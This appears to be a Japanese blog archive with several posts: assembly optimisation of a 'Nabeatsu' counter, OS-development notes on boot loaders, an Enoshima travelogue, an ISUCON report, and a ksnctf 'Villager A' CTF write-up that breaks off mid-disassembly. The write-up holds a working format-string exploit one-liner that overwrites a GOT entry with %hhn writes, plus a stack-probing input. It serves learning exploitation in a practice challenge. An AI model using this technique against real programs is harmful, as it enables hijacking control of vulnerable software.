世界一速いナベアツに挑む①

この記事はプロコンゼミ(SPC同好会) その2 Advent Calendar 2018 - Adventarの14日目の記事です。

導入

このネタは、我が部活が誇るあかこう先輩のネタのパクリ継承となります。 元の記事は削除されてしまったようなので、参考になりそうなリンクを貼っておきます。

https://akakou-slide.github.io/nabeatsu/ github.com

ところで、ナベアツというのは皆さんご存知の世界のナベアツこと桂三度さんのネタのことです。

わからない人のために...

例えばAくんという人が居るとします。Aくんは自然数を数え上げていきます。 数え上げる自然数が3の倍数、もしくは3がつく数のときにおかしな声をだします(このことを、バカになるという)。

注意

  • この記事の内容を実際に試したことにより、システムにどのような損害が起きたとしても筆者は責任を負いかねます。試す際には自己責任で宜しくおねがいします。
  • 世界一速いナベアツを名乗っていますが、これは少し誇張した表現ですので訂正します。この記事では、x86_64上で動作するLinux 4.19において最も高速に動作するナベアツを目指します。

高速化のポイント

ソースコードはMITライセンスということで、ありがたく高速化のポイントの解説として、使わせていただきましょう。

MIT License

Copyright (c) 2017 akakou

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

一応ライセンス表示。

ということで、一旦あかこう先輩が書いたソースコードを全部のせます。

; nabeatsu.s
; 最強のNABEATSU☆を目指す


; コードセクション
section .text
    global _start                           ; _startを指名

; スタート
_start:
                                            ; カウント用レジスタの初期化
    mov r12, 1                              ; ボケるか判定用カウントレジスタ(普通にカウントする)
    mov r13, 1                              ; 表示用カウントレジスタ(BCDでカウントする)

; 3の倍数かをチェックする
CHECK_THREE_MULTIPLE:
    xor rdx, rdx
                                            ; r12を3で割る
    mov rax, r12                            ; r12/3(rbx) = rax...rdx
    mov rbx, 3
    div rbx

    cmp rdx, 0                              ; 除算の余りと0を比較する
    je SET_BOKE_FMT                         ; 0ならprint_abnomalにジャンプする

    mov r9,  r12                            ; r12(ボケるか判定用カウントレジスタ)をr9(3を含む数値か判定用レジスタ)にコピー

READY_CHECK_IN_THREE:
    mov r8, r13

; 3のつく数字化をチェックする
CHECK_IN_THREE:
    mov rbx, 0xF                            ; rbxに0xFを格納
    and rbx, r8                             ; r8と0xFに論理和をかけることで、16進数での1桁分取り出し、rbxに格納

    shr r8,  4                              ; 16進数におけるBCDでの1桁分右にシフトする。

    cmp rbx, 3                              ; シフトの余りと3を比較する
    je SET_BOKE_FMT                         ; 余りが0ならprint_abnomalにジャンプする

    cmp r8, 0                               ; 除算のあまりと0を比較し
    jne CHECK_IN_THREE                      ; 余りが0ならprint_abnomalにジャンプする

; 普通のフォーマット(数値のみを表示)をrbpに格納する。
SET_NOMAL_FORMAT:
    mov rbp, normal_message                 ; rbpに数値のみ表示するフォーマットを格納する

; 次の処理の準備 & `SET_NOMAL_FORMAT`からのジャンプバック用ラベル
READY_TO_SET_FORMAT_LOOP:
    mov rax, r13                            ; rax(今回表示する値が入ってるレジスタ)にr13(表示用カウントレジスタ)の値をコピー
    mov r15, 15                             ; r15に15(最大このプログラムの耐えられる最大桁数)
    add r15, rbp                            ; rbpの値(指定したフォーマットの文字列)と最大値を足した値をr15(次に格納する文字のアドレス先)に格納

; r13から1文字ずつ取り出す
SET_FORMAT_LOOP:
    dec r15                                 ; r15を1つ減算する
    mov rbx, 0xF                            ; rbxに0xFを格納
    and rbx, rax                            ; raxと0xFに論理和をかけることで、16進数での1桁分取り出し、rbxに格納
    add rbx, 0x30                           ; rbxに格納された1桁の数値に0x30を足すことで、ASCIIの文字のデータにする
    mov [r15], bl                           ; bl(rbxから1バイト分のデータ)をr15の持つアドレス先に書き込む
    shr rax, 4                              ; 16進数におけるBCDでの1桁分右にシフトする。
    jnz SET_FORMAT_LOOP                     ; raxが0になるまでSET_FORMAT_LOOPを回し続ける

; 文字列を表示
PRINT:
    mov r14, rcx                            ; rcxの値をr14に退避

    mov rcx, rbp                            ; メッセージのアドレス
    mov rdx, 17                             ; メッセージの長さ
    mov rbx, 1                              ; 標準出力を指定
    mov rax, 4                              ; システムコール番号 (sys_write)
    int 0x80                                ; 割り込み

    mov rcx, r14                            ; r14に退避させた値をrcxに戻す

; カウントをする
COUNT:
    inc r12                                 ; r12に1加算
    inc r13                                 ; r13に1加算

    mov r9, r13                             ; r9(繰り上がれてないか確認用レジスタ)にr13(表示用カウントレジスタ)をコピー
    mov r11, 0xF                            ; r11に0xFを格納

; 表示用カウントレジスタ(BCD)の桁上がりチェック
CARRY_UP:
                                            ; 各桁に0xAが含まれていないか確認し、含まれていたら`CARRY_UP_BCD`を呼ぶ
    mov r10, 0xF                            ; r10に0xFを格納
    and r10, r9                             ; r10にr9の右から1桁分を格納させる
    cmp r10, 0xA                            ; r10(上の処理で取った1桁分)と0xA(BCDではありえない値)かを確認
    je CARRY_UP_BCD                         ; r10が0xAなら繰り上がりをする

                                            ; 二重繰り上がりが起きたときの処理
    cmp r10, 0xB                            ; r10に0xBが格納されていないかを確認
    je CARRY_UP_BCD                         ; r10が0xBなら繰り上がりをする(0xC以上は理論上ありえない)

; 次のカウント後の処理へジャンプする
LOOP_BACK:
    cmp r12, 1000000                        ; 最大カウント回数(100000)とr12(通常カウント)を比較
    jne CHECK_THREE_MULTIPLE                ; 同じになるまでCHECK_THREE_MULTIPLEに戻る

; 終了処理
FIN:
                                            ; プロセス終了
    mov rax, 1                              ; 返り値を1にする
    mov rbx, 0                              ; 終了ステータスコード
    int 0x80                                ; システムコール

; 表示用カウントレジスタ(BCD)の桁上がり処理
CARRY_UP_BCD:
    or r13, r11                             ; うまく繰り上がれてない値(r13)の、繰り上がれてない部分をすべて二進数の1で埋めて
    inc r13                                 ; 1を足す → 強制的に繰り上がらせる

    or r9, 0xF                              ; r9(繰り上がれてないか確認用レジスタ)の方も
    inc r9                                  ; 繰り上がりしておく(ここで二重繰り上がりの可能性あり)

    shr r9, 4                               ; r9の値を右に1文字分(16進数ひと桁分)シフトする
    shl r11, 4                              ; `CARRY_UP_BCD`で使う対象以下の2進数での桁を1で埋めたもの(マスク)を更新する
    or r11, 0xF

    jmp CARRY_UP                            ; `CARRY_UP`に戻る

; ボケるときのフォーマットをrbpに格納
SET_BOKE_FMT:
    mov rbp, boke_message                   ; rbpにボケたときのメッセージフォーマットを格納
    jmp READY_TO_SET_FORMAT_LOOP            ; `READY_TO_SET_FORMAT_LOOP`にジャンプする(戻る)


; データセクション
section  .data                              ; データセクションの定義
    boke_message  db 0xA, "(BOKE)          "    ; boke_messageの内容
    times 20 db 0x00

    normal_message db 0xA, "                "   ; normal_messageの内容
    times 20 db 0x00

では、高速化のポイントを洗い出してみましょう。

システムコール

あかこう先輩のソースコードではシステムコールの呼び出しとして割り込み命令が使われていますが、これはレガシーな方法であり最近のx86では高速システムコールという仕組みが用意されているのでこちらを用いるのが一般的です。 高速システムコールを行う場合、システムコール番号が異なるので気をつけましょう。

; 終了処理
FIN:
                                            ; プロセス終了
    mov rax, 1                              ; 返り値を1にする
    mov rbx, 0                              ; 終了ステータスコード
    int 0x80                                ; システムコール

レガシーなシステムコール呼び出し

FIN:
    mov rdx, 1
    mov rax, 60
    syscall

高速システムコール呼び出し

linux, x86_64の場合、以下のテーブルを見ることでシステムコール番号を知ることが出来ます。

github.com

ということで、printルーチンとfinルーチンのシステムコールの呼び出し方を変えてみました。まあ、finルーチンは一度しか呼ばれないのであまり効果がないですが。

; 文字列を表示
PRINT:
    mov r14, rcx                            ; rcxの値をr14に退避

    mov rcx, rbp                            ; メッセージのアドレス
    mov rdx, 17                             ; メッセージの長さ
    mov rbx, 1                              ; 標準出力を指定
    mov rax, 4                              ; システムコール番号 (sys_write)
    int 0x80                                ; 割り込み

    mov rcx, r14                            ; r14に退避させた値をrcxに戻す

旧PRINTルーチン

PRINT:
    mov r14, rcx

    mov rsi, rbp
    mov rdx, 17
    mov rax, 1
    mov rdi, 1
    syscall

    mov rcx, r14

新PRINTルーチン

FINルーチンは上で示した通り。

これらのルーチンを入れ替えて得られる効果はどの程度のものでしょうか。timeコマンドで計ってみます。 システムの状態によって実行時間が多少前後するのでそれぞれ10回計測しました。

./a.out  0.25s user 0.61s system 99% cpu 0.859 total
./a.out  0.20s user 0.67s system 99% cpu 0.867 total
./a.out  0.26s user 0.65s system 97% cpu 0.933 total
./a.out  0.28s user 0.69s system 99% cpu 0.976 total
./a.out  0.27s user 0.65s system 99% cpu 0.926 total
./a.out  0.22s user 0.70s system 99% cpu 0.922 total
./a.out  0.22s user 0.77s system 99% cpu 0.999 total
./a.out  0.25s user 0.67s system 99% cpu 0.916 total
./a.out  0.25s user 0.69s system 99% cpu 0.937 total
./a.out  0.21s user 0.64s system 99% cpu 0.849 total

これが割込みを使ったシステムコール呼び出しの場合。

./a.out  0.14s user 0.62s system 99% cpu 0.770 total
./a.out  0.19s user 0.61s system 99% cpu 0.800 total
./a.out  0.11s user 0.72s system 99% cpu 0.838 total
./a.out  0.15s user 0.70s system 99% cpu 0.856 total
./a.out  0.17s user 0.65s system 99% cpu 0.818 total
./a.out  0.12s user 0.69s system 99% cpu 0.818 total
./a.out  0.11s user 0.73s system 97% cpu 0.869 total
./a.out  0.09s user 0.75s system 99% cpu 0.844 total
./a.out  0.14s user 0.71s system 99% cpu 0.848 total
./a.out  0.12s user 0.71s system 99% cpu 0.832 total

これが高速システムコール呼び出しを使ったシステムコール呼び出しの場合。

結果は一目瞭然ですね。

一応平均値と中央値を出しておきましょう。

打ち込むのが面倒だったので適当にプログラムを書きました。timeのフォーマットなら使えると思うので使いたい方はどうぞ。

#include <iostream>
#include <vector>
#include <algorithm>

using namespace std;

int main()
{
    string tmp, user, system;
    int count = 10;
    double heikin_user = 0, heikin_sys = 0;
    vector<double> _user, _sys;
    for(int i = 0; i < count; ++i) {
        cin >> tmp >> user >> tmp >> system >> tmp >> tmp >> tmp >> tmp >> tmp;
        user[4] = '\0';
        system[4] = '\0';
        _user.push_back(stod(user));
        _sys.push_back(stod(system));
    }
    for(auto hoge : _user) {
        heikin_user += hoge; 
    }
    heikin_user /= 10.0;
    for(auto hoge : _sys) {
        heikin_sys += hoge;
    }
    heikin_sys /= 10.0;
    sort(_user.begin(), _user.end());
    sort(_sys.begin(), _sys.end());
    cout << "heikin[ user: " << heikin_user << " sys: " << heikin_sys << " ]" << endl;
    cout << "chuou [ user: " << (_user[4] + _user[5]) / 2.0 
        << " sys: " << (_sys[4] + _sys[5]) / 2.0 << " ]" << endl;
    return 0;
}
割込みを使ったシステムコール呼び出し
heikin[ user: 0.241 sys: 0.674 ]
chuou [ user: 0.25 sys: 0.67 ]

高速システムコール呼び出しを使ったシステムコール呼び出し
heikin[ user: 0.134 sys: 0.689 ]
chuou [ user: 0.13 sys: 0.705 ]

おおー、いい感じです。

除算の高速化

除算は非常にコストのかかる計算です。x86_64にはdiv命令というものがありますが、これは8bit同士の計算だけでも41サイクルもかかってしまいます。

gccはこの問題をどのようにクリアしているのでしょうか。見てみましょう。

#include <stdio.h>

int main(void)
{
    for(int i = 0; i < 100; ++i) {
        int hoge = i / 3;
        printf("%d\n", hoge);
    }
    return 0;
}
$ gcc -S hoge.c
 .file "hoge.c"
    .text
    .section  .rodata
.LC0:
    .string   "%d\n"
    .text
    .globl    main
    .type main, @function
main:
.LFB0:
    .cfi_startproc
    pushq    %rbp
    .cfi_def_cfa_offset 16
    .cfi_offset 6, -16
    movq %rsp, %rbp
    .cfi_def_cfa_register 6
    subq $16, %rsp
    movl $0, -4(%rbp)
    jmp  .L2
.L3:
    movl -4(%rbp), %ecx
    movl $1431655766, %edx
    movl %ecx, %eax
    imull    %edx
    movl %ecx, %eax
    sarl $31, %eax
    subl %eax, %edx
    movl %edx, %eax
    movl %eax, -4(%rbp)
    movl -4(%rbp), %eax
    movl %eax, %esi
    leaq .LC0(%rip), %rdi
    movl $0, %eax
    call printf@PLT
    addl $1, -4(%rbp)
.L2:
    cmpl $99, -4(%rbp)
    jle  .L3
    movl $0, %eax
    leave
    .cfi_def_cfa 7, 8
    ret
    .cfi_endproc
.LFE0:
    .size main, .-main
    .ident    "GCC: (GNU) 8.2.1 20180831"
    .section  .note.GNU-stack,"",@progbits

普段intel記法を使っているのでAT&T記法は読みづらい...

注目すべきは以下の部分です。

.L3:
    movl -4(%rbp), %ecx
    movl $1431655766, %edx
    movl %ecx, %eax
    imull    %edx
    movl %ecx, %eax
    sarl $31, %eax
    subl %eax, %edx
    movl %edx, %eax
    movl %eax, -4(%rbp)
    movl -4(%rbp), %eax
    movl %eax, %esi
    leaq .LC0(%rip), %rdi
    movl $0, %eax
    call printf@PLT
    addl $1, -4(%rbp)

見ての通りdiv命令は使われずimull命令とsarl命令とsubl命令等によって除算が実現されています。 この原理の基本は以下のとおりです。

まず、前提知識としてビット演算において2nで掛けたり割ったりするのはシフト演算で実現できるため、高速に計算できます。 また、整数同士の掛け算も割り算に比べれば低コストで計算することが出来ます。

これらの知識を元に、除算を以下のように変形します。

 \displaystyle
  \frac{a}{b} = a * \frac{2^{n}}{b} * \frac{1}{2^{n}}

 bは定数なので \frac{2^{n}}{b} コンパイル時に計算することが出来ます。

ですから、実行時に計算するのは整数同士の掛け算( \frac{2^{n}}{b}は整数に丸められます)と2nでの割り算だけなのでこれで除算の高速化が出来るわけです。

基本は上の通りですがこれでは誤差が出てしまう可能性があります。ですのでまだ工夫する必要は有るのですがこちらに関しては以下のブログを参考にしていただくとして、ここでは割愛いたします。

7shi.hateblo.jp

疲れてしまったので実装をどうするかについては「世界一速いナベアツに挑む②」で紹介しようと思います。お楽しみに!

参考文献

X86アセンブラ/算術演算命令 - Wikibooks

https://www.agner.org/optimize/instruction_tables.pdf

postd.cc

https://www.recfor.net/jeans/index.php?itemid=902

Binary Division by a Constant

除算 (デジタル) - Wikipedia

30日でできる!OS自作入門を始めた[3日目]

今回は、IPLの作成と32ビットモード切り替えの準備、C言語導入が主なテーマ。

IPL

IPL(Inital Program Loader)はその名の通り、初期プログラムのローダー。

まずは、フロッピーの中身をどんどんメモリに展開していきたいわけだが、これにはBIOSのディスクサービスを使う。 BIOSのディスクサービスは、「INT 0x13」で呼び出せる。

http://softwaretechnique.jp/OS_Development/Tips/Bios_Services/disk_services.html

最初の1セクタ(512バイト)は、すでにメモリに展開されているので、2セクタ目から先を読み出していく。

展開先のアドレスはセグメントレジスタを使って指定できる。

はりぼてOSのIPLは、0x8000から0x83FFまでにフロッピーの中身を展開する。0x8000から512バイト、つまり0x81FFまでは1セクタ目を入れるので0x8200から2セクタ目を入れていく。

メモリマップ↓

0x7c00 ---------------------------
                  Boot Sector
0x7e00 ---------------------------
                  Free Space
0x8000 ---------------------------
                  Sector 1
0x8200 ---------------------------
                  Sector 2
0x8400 ---------------------------

また、フロッピーディスクはたまにうまく読めないことが有るらしい。 このための処理も書く必要が有る。

あとは、フロッピー内のすべてのデータを読み出していく。

フロッピーディスク一枚には80シリンダ、ヘッドが2つ、そして18セクタあり、一つのセクタが512バイトだから、

80 * 2 * 18 * 512 = 1474560byte = 1440KBのデータがある。

そしてフロッピーのデータが展開できるようになったのでOS本体を書いていくことが出来るようになった。

しかし、OSを実行するためにはIPLからOSにジャンプする必要があり、そのためにはどこにジャンプすべきか、すなわちOSがどのアドレスに展開されるのか知る必要が有る。バイナリエディタでharibote.imgを見てみるとファイルの先頭から0x004200番目に配置されていることが分かる。0x8000から展開をしたので、飛ぶべきアドレスは

0x004200 + 0x8000 = 0xC200

である。

これで、いよいよOS本体が実行できるように...!

そして、この本ではOS本体の実行を確認するため画面をグラフィックモードにして色を描画してみるということをする。前回と同じように、BIOSのビデオサービス(0x10)を使ってやればできる。

32ビットモードへの準備

C言語を使うためには、基本的には32ビットモードに切り替える必要が有るので切り替えていく。 ちなみに、32ビットモードに切り替えてしまうとBIOSのサービスは利用できなくなってしまうので、16ビットモードでやるべきことは16ビットモードでやっていく。

画面モードの切り替えは既にやったので、キーボードの状態(シフトやキャピタルロックの設定)をBIOSから取得しておく。 キーボードの状態取得はBIOSのキーボードサービス(0x16)を使えば良い。

softwaretechnique.jp

ファンクション番号は0x02。出力はリンク先を見ればわかる。ALレジスタに出力されるので、これをメモリにコピーしておけば安心して32ビットモードへ移行できる。

C言語導入

いよいよC言語の導入だ。Harimain()関数をbootpack.cというファイルに書く。アセンブラでしか書けない内容は、naskfunc.nasというファイルに書いて、C言語から関数として呼び出す。

ところで、アセンブラのファイルとC言語のファイルの関連付けについてだが、これは両者をオブジェクトファイルにして、リンクをすれば良い。私は筆者のツールではなくgccやnasmなどの汎用ツールを使って開発しているためリンカスクリプトを指定してやる必要がある。このリンカスクリプトについては、偉大なる先人が公開されていたのでこちらをありがたく使わせてもらった。

https://vanya.jp.net/os/haribote.html

これでおしまい。

江ノ島観光

はじめに

この記事はプロコンゼミ(SPC同好会) その1 Advent Calendar 2018の4日目の記事です!

江ノ島観光

現在放送中のアニメ、「青春ブタ野郎はバニーガール先輩の夢を見ない」の聖地巡礼と試験後の息抜きも兼ねて江ノ島、藤沢方面を散策してきましたので撮った写真と共にご紹介します。

出発

午前中は微分積分プログラミング言語の試験があったのでそれを受けてから12:10分くらいに学校の校門を出発しました。中央線、横浜線小田急線、東海道線と乗り継いで藤沢駅に到着したのは2時間後、14:10分くらいのことです。

藤沢駅の北口は青ブタの作中に登場しています。 f:id:yuhki0223:20181203212511j:plain

湘南モノレール

藤沢駅からは、700円で江ノ島とか鎌倉とか藤沢の区間が乗り放題の切符を買って移動しました。 次に向かったのは大船駅Just Because!で舞台のひとつになっている路線です。 懸垂式のモノレールということで休日なんかに行くと結構混んでいたりするのですが、平日だったので空いていました。

江ノ島駅

とりあえず江ノ島駅に到着。ここから青ブタのオープニングに出てくる場所に行くため、江の電で鎌倉高校前へ。 あ、江ノ島駅のこの踏切も聖地ですね。 f:id:yuhki0223:20181203213430j:plain 踏切上で道路が二つに分岐している面白い形の踏切です。 f:id:yuhki0223:20181203213354j:plain それで、メインはこっち。梓川くんが走ってるところだったと思います。 f:id:yuhki0223:20181203213606j:plain このバス停も出てましたね。

江ノ島

腰越まで歩いて江の電に乗って江ノ島駅へもどりました。 江ノ島駅から江ノ島までは結構距離があります。江ノ島電鉄江ノ島駅まで乗り入れてくれー! f:id:yuhki0223:20181203214543j:plain

道中でのツイートです↓

江ノ島への橋の途中に猫ちゃんもいました。

ということで江ノ島に到着。

ちょっと登ったところにまた聖地があります。

f:id:yuhki0223:20181203214936j:plain

そういえばこんな旗も立ってました。すごい。

江ノ島は、知られているように猫ちゃんがいっぱいいて、人類に優しいです。

f:id:yuhki0223:20181203215119j:plain

f:id:yuhki0223:20181203215153j:plain

ということで、歩き疲れてしまったので聖地巡礼はこのあたりで終わりました。

最後、江ノ島駅の写真を。

f:id:yuhki0223:20181203215305j:plain

30日でできる!OS自作入門を始めた[2日目]

半年ぶりの更新...。実は、もう本自体の内容はほとんどやってみたのだけれど、記事の更新が途中でとどまってからもう更新しなくなってしまっていた。

今回更新しようと思ったのは、僕が働かせてもらっている会社で自作OSの勉強会をしようということで、この本をやることになって、また1章から始めたのでせっかくだから復習も兼ねてまた記事の執筆に挑戦しようという志を持ったので。

ということで、久しぶりのOS自作入門スタート。

進行

ORG 0x7c00

ORG 0x7c00は、このプログラムがメモリのどこに読み込まれるかを示す疑似命令。 どうして0x7c00に読み込まれるかについては、以下の記事を見てなるほどなぁ。

https://www.glamenv-septzen.net/en/view/6

linuxx86アーキテクチャ依存の実装部分にも、0x7c00の文字がある。 https://github.com/torvalds/linux/blob/master/arch/x86/boot/header.S

そして、FAT12の使用に基づくヘッダがあって...

次にブートローダのプログラム本体。

初期化スべきレジスタを初期化して...

entry:
        MOV     AX,0
        MOV     SS,AX
        MOV     SP,0x7c00
        MOV     DS,AX
        MOV     ES,AX

msgのアドレスを、SIに入れて...

そうそう、自分は当初この本をやっていたときに

[SI]

の意味がよく分からなかった記憶があるのだが、これはSIに入っているアドレスのところに有るものを参照する、みたいなものだ。 メモリ参照とか言うらしい。

putloopは文字を1文字ずつ配置するサブルーチンだ。 実行の流れは次のとおりである。

  • SIが指すメモリの中身をALに入れる
  • SIに1を足して次のアドレスを指すようにする
  • ALが0なら、文字列の最後なので比較して0ならfinのルーチンに飛ぶ
  • 1文字の表示機能を指定するためAHに0x0eを入れる
  • BXにカラーコードの番号を入れる
  • 割り込みしてビデオBIOSというものを呼び出す
  • putloopのアドレスに戻ってループ

putloopで代入した15というカラーコードだがこれは白色である。 使える色は以下の通り。16ビットだなーってかんじ。 https://en.wikipedia.org/wiki/BIOS_color_attributes

BIOSで使える機能と使い方がまとめられている http://oswiki.osask.jp/?(AT)BIOS

ところで、

INT 0x10

は割り込み命令だが、これで割り込みベクタの0x10番目のアドレスに飛ぶ、という仕組みらしい。 この本を始めた当初は割り込みベクタなんて知らなかったが、もう一つの自作OS本、坂井先生の本を読んで知った。

finルーチンではHLTをループしてCPUを停止させるだけ。

あとはMBRの規格構造に沿って埋めるだけ。

https://ja.wikipedia.org/wiki/%E3%83%9E%E3%82%B9%E3%82%BF%E3%83%BC%E3%83%96%E3%83%BC%E3%83%88%E3%83%AC%E3%82%B3%E3%83%BC%E3%83%89

ところで、私はnaskではなくnasmを使ってアセンブルしているのでRESB命令がうまく使えなかった。なので、以下のように改めて書いた。

   TIMES 0x1fe-($-$$) DB 0

疑問

  • entryでなぜSPを0x7c00に初期化するのか。0に初期化するなら分かる気がするが...何か仕様等で決まっているのだろうか。
  • 上の疑問についてだが、単に0x7c00から配置されるブートローダーの上が空いているので0x7c00に初期化されるというだけだった。考えてみれば、SPを0に初期化するというのは意味がない。スタックは零アドレスに向かって伸びるのだから。

ISUCONで学生2位通過...のはずが再起動でこけてしまって非常に悔しいクギイィ!

昨日、今日とISUCONという大会が開催されていまして、初参加してみたので初陣の記録として記事を書いておきます。

ISUCONとは

ISUCONとは、Iikanjini Speed Up Contestの略でWebアプリケーションを高速化し、予め決められたURLのアクセスに対していくつレスポンスを返せたか、またどのくらいの負荷まで耐えられるか等によってスコアを付けそのスコアで勝敗を決めるコンテストです。

参加チーム

今回僕は、アルバイトとして勤務している会社のCTOとエンジニアの三人で「チーム終活」として参加しました。 二人共色々な面においてお強い方で、僕のようなWeb素人が参加して貢献出来るかは懐疑的なものでしたが、せっかく誘っていただいたのでありがたく参加しました。

やっていた対策

メンバーの誰一人としてISUCONに出たことがなかったので、何をすればいいのかよくわかりませんでしたが、とりあえず過去問を何回か解こうということで、本番の2週間前から2回ほどチームメンバーと集まって過去問演習をしました。

過去問演習とはいっても、実際に過去問環境を立てるのにけっこう手間取ってしまい、ほとんど演習らしいものは出来ませんでしたが、色々見識は深められたと思います。環境構築難しい...

本番の状況

僕たちは、土曜日に出場しました。 今回のお題は、チケット予約サイト?の高速化でした。なかなか出来の良いサイトで、コンテストのためにこんなもの作ってしまうのかーと少し感銘を受けました。

具体的にやったこととしては、開発環境の構築、解析ツール等の導入、ソースコードの最適化、余計なプロセスの殺害、DB鯖とHTTP&アプリ鯖の分散と言った感じです。

複数台のサーバーを渡されるというのが通年の慣例のようですが、上で述べたように初陣だったため知りませんでした。そのため、このサーバーをどう使うか迷いましたが結局DB鯖とHTTP&アプリ鯖の分散に使ったという感じです。

この分散を行うためには、ソースコードの最適化を行う必要がありました。 なぜなら、この分散を行ってしまうととあるページがおそすぎてベンチマーク時にタイムアウトしてしまったからです。

実際にソースコードを覗いてみると、明らかに確信犯的な悪魔実装をしている箇所が見受けられました。

そうしたソースコードの変更等を含め建設的に改善を続けていった結果、最終的に25452というスコアを叩き出すことが出来ました。

f:id:yuhki0223:20180916204125j:plain

このスコアは、学生2位になりえたスコア(後の画像参照)でした。他チームの状況等からして予選通過を確信していた僕達は、「よっしゃ予選通過や」とコンテスト終了30分前に片付けをはじめ、悠々とした態度でいました。

結果

予選敗退。

f:id:yuhki0223:20180916204213p:plain

何度も言いますが、初陣だった私達は再起動試験というものがあることをすっかり忘却してしまっていたのです。 結果、コンテスト終了後の再起動試験で見事コケたらしく予選敗退という結果になってしまいました。

悔しい!!!

これからISUCONに出ようと思っているみなさんも、分かっているとは思いますが、再起動時にこけないか確認しましょう。僕との約束です。

PS: 25452ってスコア、25252だったら矢澤にこ(ガタッ

Villager Aが解けた

この記事は、ksnctfのVillager Aの解法について言及しています。見たくないという方は、ここでお引取りください。 また、私はセキュリティに関しては全くのど素人です。内容の正確性は慎重に検証したつもりですが、間違っていることもあるかと思いますのでご承知おきください。







かねてより、pwnあるいはexploitというものに興味があり、何度かVillager Aに挑戦したりしていたのですが、writeup等を見てみても解法をよく理解できないでいました。今回、SecHack365でご一緒させて頂いているはっぴーのーとさんに色々ご教授いただくことが出来、解法がよく分かってきたのでせっかくなので記事としてアウトプットしておきたいと思った次第です。

twitter.com

私が分からなかった点

私が分からなかったのは、主にFormat String Attackの組み立ての部分です。Villager Aの場合、GOTを書き換えて任意のアドレスにジャンプしたいわけですが、これをやればexploitできるということは分かったものの、その手段はよく分からなかったのです。

解法

最初に、解法を載せておきます。

echo -e '\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129x%6$hhn%245x%7$hhn%126x%8$hhn%4x%9$hhn' | ./q4

これでexploit出来るわけですが、この文字列でどうしてGOTを書き換えられるのかが分からなかったのです。

printf()のフォーマット指定子

printf()には%nというフォーマット指定子があります。これは、いままで出力した文字列のバイト数を、引数に格納するという指定子です。試しに使ってみました。

#include <stdio.h>

int main()
{
    int *hoge;
    printf("hogehoge%n\n", &hoge);
    printf("%d\n", hoge);
    return 0;
}

これで、hogeが指すメモリ領域に8が入っているはずです。

もちろん*hogeにアドレスを代入してやれば任意のアドレスのメモリ領域に保存することができます(ただし、そのアドレスのメモリ領域が書き込み可能かどうか等は不明)。

ちなみに、%nの前にhをつけてやることで書き込み先のアドレスを何バイトの領域として扱うか操作出来るようです。

指定子 書き込まれ方
%n アドレスを4バイト領域としてみなし、書き込む
%hn アドレスを2バイト領域としてみなし、書き込む
%hhn アドレスを1バイト領域としてみなし、書き込む

%nで一気に書き込むこともできますが、そうすると出力しなくてはならないバイト数が膨大になってしまうことがよくあるので、この手のexploitでは%hhnをよく使うようです。

例えば、0x12345678というアドレスを%nでつくるためには、0x12345678バイト出力しなくてはいけないのでとても膨大ですが、%hhnで4回に分けてしまえば0x78と0x56と0x34と0x12の計0x114バイト出力するだけで済みます。

また、$(ダイレクトパラメータ)というものを使うと、使いたい引数を番号で指定できるようです。

3番目の引数を使いたいなら以下の通りです。

printf("%3$d", 10, 20, 30, 40, 50);  // 30

FSAの組み立て

ここまで分かれば、あとは組み立ててみるだけでした。 まずは、printf()で書き込んだ文字列がスタックのどの位置に保存されるか把握しておく必要があるので、q4に対して以下を入力してみます。

echo -e "yuki,%x,%x,%x,%x,%x,%x,%x" | ./q4
What's your name?
Hi, yuki,400,4108c0,8,14,ed3fc4,696b7579,2c78252c,252c7825

Do you want the flag?

yuki」のASCIIコードを16進数に変換すると「0x79756b69」ですね。リトルエンディアンであることに気をつけながら見ていくと、6番目にあることが分かります。

|....................|
|0x00000400| ←arg1
|0x004108c0| ←arg2
|0x00000008| ←arg3
|0x00000014| ←arg4
|0x00ed3fc4 | ←arg5
|0x696b7579| ←arg6(printf()へ入力した文字列はここから入る)
|0x2c78252c| ←arg7
|0x252c7825| ←arg8
|....................|

この情報と、さっきのダイレクトパラメータを組み合わせて使うことができそうですね!

では、次に書き換え先、書き換える対象を確認しておきましょう。 q4をディスアセンブルしてみましょう

objdump -d q4 | less

以下、main関数部分です。

080485b4 <main>:
 80485b4:   55                      push   %ebp
 80485b5:   89 e5                   mov    %esp,%ebp
 80485b7:   83 e4 f0                and    $0xfffffff0,%esp
 80485ba:   81 ec 20 04 00 00       sub    $0x420,%esp
 80485c0:   c7 04 24 a4 87 04 08    movl   $0x80487a4,(%esp)
 80485c7:   e8 f8 fe ff ff          call   80484c4 <puts@plt>
 80485cc:   a1 04 9a 04 08          mov    0x8049a04,%eax
 80485d1:   89 44 24 08             mov    %eax,0x8(%esp)
 80485d5:   c7 44 24 04 00 04 00    movl   $0x400,0x4(%esp)
 80485dc:   00 
 80485dd:   8d 44 24 18             lea    0x18(%esp),%eax
 80485e1:   89 04 24                mov    %eax,(%esp)
 80485e4:   e8 9b fe ff ff          call   8048484 <fgets@plt>
 80485e9:   c7 04 24 b6 87 04 08    movl   $0x80487b6,(%esp)
 80485f0:   e8 bf fe ff ff          call   80484b4 <printf@plt>
 80485f5:   8d 44 24 18             lea    0x18(%esp),%eax
 80485f9:   89 04 24                mov    %eax,(%esp)
 80485fc:   e8 b3 fe ff ff          call   80484b4 <printf@plt>
 8048601:   c7 04 24 0a 00 00 00    movl   $0xa,(%esp)
 8048608:   e8 67 fe ff ff          call   8048474 <putchar@plt>
 804860d:   c7 84 24 18 04 00 00    movl   $0x1,0x418(%esp)
 8048614:   01 00 00 00 
 8048618:   eb 67                   jmp    8048681 <main+0xcd>
